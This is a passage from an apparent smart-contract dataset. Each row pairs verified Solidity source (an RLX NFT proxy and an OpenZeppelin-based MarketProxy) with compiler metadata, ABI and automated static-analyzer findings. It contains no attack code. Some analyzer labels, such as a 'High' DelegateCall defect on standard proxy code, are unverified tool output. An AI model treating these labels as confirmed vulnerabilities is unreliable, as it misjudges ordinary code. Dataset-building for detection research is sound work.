e":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.2+commit.bacdbe57 | true | 6,666 | Default | false | |||||
RLX | 0x7ac0e0e361f52330a602b60a2af5e778c67e4460 | Solidity | // File: contracts/RLX.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: RELIX
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// █▌ █▌ █▌ ╫█▀─j█⌐ //
// █▌ █▌ █▌ ╫█ j█⌐ //
// █▌ ▓█▄ █▌ ,▓████▄ █▌ ████bj███████▌ ╓▓█▀██▄ j█ █▌ ,▓█▀█▓µ ╓▓█▀██▄ //
// █▌ ██└█▌ █▌ ▐█╨ ╟█ █▌ ╫█ j█⌐ █▌ ▐█¬ ██ j█⌐ █▌ ██ ╙▀ ▐█┌ ██ //
// █▌ ██ █▌ █▌ ╫█ █µ █▌ ╫█ j█⌐ █▌ █▌ ▐█ j█⌐ █▌ ╙▀▀██▄ ██▀▀▀▀▀▀▀ //
// █▌█▌ █▌█▌ █▌ ,██ █▌ ╫█ j█⌐ █▌ ╙█▄ ╓█▀ j█⌐ █▌ █▌ ╟█ ╙█▄ ,█▌ //
// ▀▀▀ ▀▀▀ ╙▀▀▀▀└ ▀¬ ╙▀ ▀ ▀▀ ╙▀▀▀▀` ▀▀▀▀▀▀▀▀ ╙▀▀▀▀ ╙▀▀▀▀─ //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////
contract RLX is ERC721Creator {
constructor() ERC721Creator("RELIX", "RLX") {}
}
// File: contracts/ERC721Creator.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// File: @openzeppelin/contracts/proxy/Proxy.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["365"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 62, 63]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [72, 73, 71]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [80, 81, 82]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [53, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [79, 80, 81, 82, 83]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 65, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [70, 71, 72, 73, 74]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [52, 53, 54, 55, 56]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 53, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 55, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 453, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 462, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 471, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 480, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 87, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 178, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 405, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 453, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 462, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 471, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 480, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 106, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 454, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 463, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 472, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 481, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 51, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 150, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 151, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 151, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 234, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 235, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 235, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 235, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 235, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 237, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
MarketProxy | 0x1c6b58c03880f952c91c3628aec63a48a8422b70 | Solidity | // File: contracts/proxies/MarketProxy.sol
pragma solidity 0.7.3;
import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol";
contract MarketProxy is TransparentUpgradeableProxy {
constructor(address _logic, address _proxyAdmin) public TransparentUpgradeableProxy(_logic, _proxyAdmin, "") {}
}
// File: @openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// File: @openzeppelin/contracts/proxy/UpgradeableProxy.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Proxy.sol";
import "../utils/Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: @openzeppelin/contracts/proxy/Proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
